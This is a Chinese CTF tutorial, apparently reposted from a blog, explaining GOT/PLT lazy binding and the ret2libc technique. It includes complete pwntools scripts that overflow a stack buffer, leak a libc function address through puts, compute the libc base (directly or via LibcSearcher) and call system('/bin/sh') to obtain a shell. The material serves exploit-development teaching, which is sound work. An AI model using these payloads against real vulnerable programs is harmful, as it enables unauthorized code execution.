首页 > 其他分享 >用动态链接动态泄露system地址并利用

用动态链接动态泄露system地址并利用

时间:2024-06-17 12:43:13浏览次数:12  
标签:函数 libc system 地址 p32 动态 链接 addr

已知libc库的情况

在动态编译的程序中,如果没有对system函数的直接调用,在plt中就不会存在system函数,也就是不能直接知道system函数的地址
在解决动态编译的二进制文件之前,需要了解动态链接的基础知识,这个过程叫作lzy-binding。程序对外部函数的调用要求在生成可执行文件时将外部函数链接到程序中链接的方式分为静态链接和动态链接。静态链接得到的可执行文件包含外部函数的全部代码。动态链接得到的可执行文件不包含外部函数的代码,而是在运行时将动态链接库(若干外部函数的集合)加载到内存的某个位置,在发生调用时再去链接库定位所需的函数。

这里通过几个简单的概念和过程的分析来说明整个过程。

  1. GOT。GOT是全局偏移量表(Global0fset Table),用于存储外部函数在内存中的确切地址。GOT存储在数据段(DataSegment)内,可以在程序运行过程中被修改。
  2. PIT是程序链接表(Procedure Linkage Table),用来存储外部函数的人口点(entry),换言之,程序会到 PLT 中寻找外部函数的地址。PLT存储在代码段(CodeSegment)内,在运行之前就已经确定并目不会被修改。

简单来讲,GOT是个数据表,存储的是外部函数的地址,具有读写权限(在FULLRELRO 保护机制开启的时候,没有读写权限):PLT是外部函数的人口表,存储的是每个外部函数的代码,具有执行权限

当程序在第一次运行的时候,会进入已被转载进内存中的动态链接库中查找对应的函数和地址,并把函数的地址放到got表中,将got表的地址数据映射为plt表的表项;在程序二次运行的时候,就不用再重新查找函数地址,而是直接通过plt表找到got表中函数的地址,从而执行函数的功能了。
在首次调用导出函数时,由于未知函数真正地址(这时表现为xxx@plt),去访问plt表中该函数所在的项(为一段代码,三条指令如上图所示),之后去访问GOT表,又跳到PLT[0]的中(代码段)调用函数_dl_runtime_resolve去获取真正的函数地址并修改对应的GOT表项
image
还有几点需要注意

  1. GOT[0] 是.dynamic段的装载地址,.dynamic段包含了动态链接器用来绑定过程地址的信息,比如符号的位置和重定位信息;
  2. GOT[1] 是动态链接器的标识link_map的地址;
  3. GOT[2] 包含动态链接器的延迟绑定代码_dl_runtime_resolve的入口点,用于得到真正的函数地址,回写到对应的got表中;
  4. 从 GOT[3] 开始就是函数的地址。
    image

对于任意两个函数的偏移是固定的,我们可以根据这个来做题,我们需要泄露一个函数地址,根据偏移来计算基地址,这样就能得到我们想要的地址
用一道例题来具体说明一下
例题:https://gitee.com/tky5216/CTF/raw/master/PWN/stack/ret2libc3
首先查看保护
image
地址随机化,NX开启
IDA反编译,没有发现后门函数,所以我们需要调用动态链接库里面的system来getshell
第一步:先泄露函数的一个地址
我们发现了栈溢出漏洞和put输出函数,那么我们就可以根据这个函数泄露地址
image

from pwn import *

p = process("./ret2libc3")
gdb.attach(p,"b *0x0804854C")
elf = ELF("./ret2libc3")
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")

gets_got = elf.got["gets"]
puts_plt = elf.plt["puts"]
main_addr = 0x0804854E
p.recvuntil("ret2libc3\n")
payload1 = "a" * 0x108 + p32(1)
payload1 += p32(puts_plt) + p32(main_addr) + p32(gets_got)
p.sendline(payload1)

根据EXP我们可以看到,通过调用put函数来打印got表中gets的地址,这样gets的地址就泄露成功了
第二步:计算偏移
我们泄露了gets函数的地址,那么根据它的偏移,就能得到基地址.base_addr= 泄露地址 - 减去偏移

leak_addr = u32(p.recv(4))
libc_base = leak_addr - libc.symbols["gets"]
libc.address = libc_base
log.success("libc_base:" + hex(libc.address))

这里的libc.symbosl['']在设置基地址之前得到的是偏移值,在设置基地址之后得到的是实际地址值
第三步:攻击

system = libc.symbols["system"] #得到实际地址值
binsh = libc.search("/bin/sh").next() #搜索字符串,返回地址
p.recvuntil("ret2libc3\n")
payload2 = "a" * 0x108 + p32(1)
payload2 += p32(system) + p32(1) + p32(binsh)
p.sendline(payload2)
p.interactive()

这样一个已知动态链接库的题就写好了,说到这肯定想问,那要是未知呢?别急接着往下看

未知动态链接库

对于未知动态链接库,做题方式和已知链接库是大同小异的,无非是确定libc库是什么版本,我们来看一下怎么确定
在我现在学习中,有三种方法(实际肯定不止三种,使用自己觉得好用的就行)

  1. 在 github上有个 libc-database 项目,可以使用项目上的方法找出对应版本。
  2. 在网站 https://libc.nullbyte.cat/ 上输入对应的函数名和地址找到 1ibc 版本。
  3. 使用python库libcsearcher

这里我们说一下第三种

  1. 安装
    git clone https://github.com/lieanu/LibcSearcher.git
    cd LibcSearcher
    python setup.py develop
    
  2. 基本使用
    libc = LibcSearcher("func",gets_real_addr)             #寻找匹配的libc版本
    libcbase = gets_real_addr – obj.dump("func")            #确定基地址
    system_addr = libcbase + obj.dump("system")            #system 偏移
    bin_sh_addr = libcbase + obj.dump("str_bin_sh")         #/bin/sh 偏移
    

例题:https://gitee.com/tky5216/CTF/raw/master/PWN/stack/ret2libc
普通栈溢出image
这里距离栈底为0x14个字节,但是按照14个字节编写会报错,我们使用cyclic的方法判断溢出,发现距离栈底为0x1c个字节
直接上脚本

from pwn import *
from LibcSearcher import *
ret2libc = ELF('./1')
p = process('./1')
p.recvuntil('is')
binsh_addr = int(p.recvuntil('\n' , drop=True) , 16)
p.recvuntil('is')
puts_addr = int(p.recvuntil('\n' , drop = True) , 16)
libc = LibcSearcher('puts' , puts_addr)
base_addr = puts_addr - libc.dump('puts')
system_addr = base_addr + libc.dump('system')
payload = 32 * b'a'  + p32(system_addr) + p32(1) + p32(binsh_addr)
p.sendline(payload)
p.interactive()

做好使用python3运行,别问我怎么知道的~~~~

标签:函数,libc,system,地址,p32,动态,链接,addr
From: https://www.cnblogs.com/return1/p/18252153

相关文章

  • 运筹学练习Python精解——动态规划
    练习1设国家拨给60万元投资,供四个工厂扩建使用,每个工厂扩建后的利润与投资额的大小有关,投资后的利润函数如下表所示,试给出收益最大的投资计划。利润\投资0102030405060\(g_1(r)\)0205065808585\(g_2(x)\)0204050556065\(g_3(x)\)0256085......
  • Doris开发手记5:一场链接引发“吊诡”的性能问题
    近期正在对Doris的性能问题展开排查,发现了一个极为“吊诡”的函数执行性能问题。经过一系列的CPU热点代码分析之后,发现“罪魁祸首”居然是libtoolchain中的静态库导致的。借用本篇手记记录下问题的发现,希望记录下一些对于C/C++程序链接问题的分析思路,也希望读者也能有所收获。......
  • 云动态摘要 2024-06-16
    给您带来云厂商的最新动态,最新产品资讯和最新优惠更新。最新优惠与活动[低至1折]腾讯混元大模型产品特惠腾讯云 2024-06-06腾讯混元大模型产品特惠,新用户1折起!云服务器ECS试用产品续用阿里云 2024-04-14云服务器ECS试用产品续用最新产品更新......
  • Java编程:动态规划
    背包问题:有一个背包,容量为4磅,现有如下物品要求达到的目标为装入的背包的总价值最大,并且重量不超出要求装入的物品不能重复动态规划算法介绍===================================================================动态规划(DynamicProgramming)算法的核心思想是......
  • input的时候, 我输入一条链接可以运行,但输入两条会报错?
    大家好,我是Python进阶者。一、前言前几天在Python交流群【Cappuccino】问了一个Python基础的问题,问题如下:再問一個沒那麼複雜的問題,請教一下,當我改成input的時候,我輸入一條鏈接可以運行,但輸入兩條就會報錯,請問多於一條鏈接的輸入格式是怎樣呢?二、实现过程这里【陈住气】给了......
  • PyTorch 动态量化模型
    PyTorch动态量化模型简介PyTorch动态量化是一种模型优化技术,可以将模型参数和激活从浮点数转换为定点数,从而显著降低模型大小和提高推理速度。与静态量化不同,动态量化是在推理时进行量化,无需预先收集校准数据。动态量化工作原理动态量化主要包含以下步骤:观察:在模型推理过......
  • pytorch动态量化函数
    PyTorch动态量化APIPyTorch提供了丰富的动态量化API,可以帮助开发者轻松地将模型转换为动态量化模型。主要API包括:torch.quantization.quantize_dynamic:将模型转换为动态量化模型。torch.quantization.QuantStub:观察模型层的输入和输出分布。torch.quantization.Observer......
  • 2024年区块链与AI投融资动态:各领域全面崛起
    京东Java实习生招聘,有转正机会!腾讯CSIG技术产品商务(已oc)面经初入职场雷点tips-1有大佬帮忙看看简历吗,25暑期实习一直过不了简历快手测开二面面经拒了荣耀offer,感觉自己很丑陋快手测开二面面经快手秋招测开面经快手测开技术一面面经快手测开技术一面面经快手......
  • CorelDRAW2024最新官方永久破解版下载地址链接
    CorelDRAWGraphicsSuite的订阅版是一种按周期付费的软件使用模式,允许用户以一定的费用在一段时间内访问和使用CorelDRAWGraphicsSuite的全部或部分功能。这种模式通常不涉及软件的所有权转让,而是提供使用权。「CorelDRAW全系列汉化版下载」,来自夸克网盘分享链接:抓紧保存......
  • C++PrimerPlus:第十三章类和继承:静态联编和动态联编001
    第十三章类和继承:静态联编和动态联编提示:这里可以添加系列文章的所有文章的目录,目录需要自己手动添加例如:静态联编和动态联编提示:写完文章后,目录可以自动生成,如何生成可参考右边的帮助文档文章目录第十三章类和继承:静态联编和动态联编前言一、指针和引用类型的兼......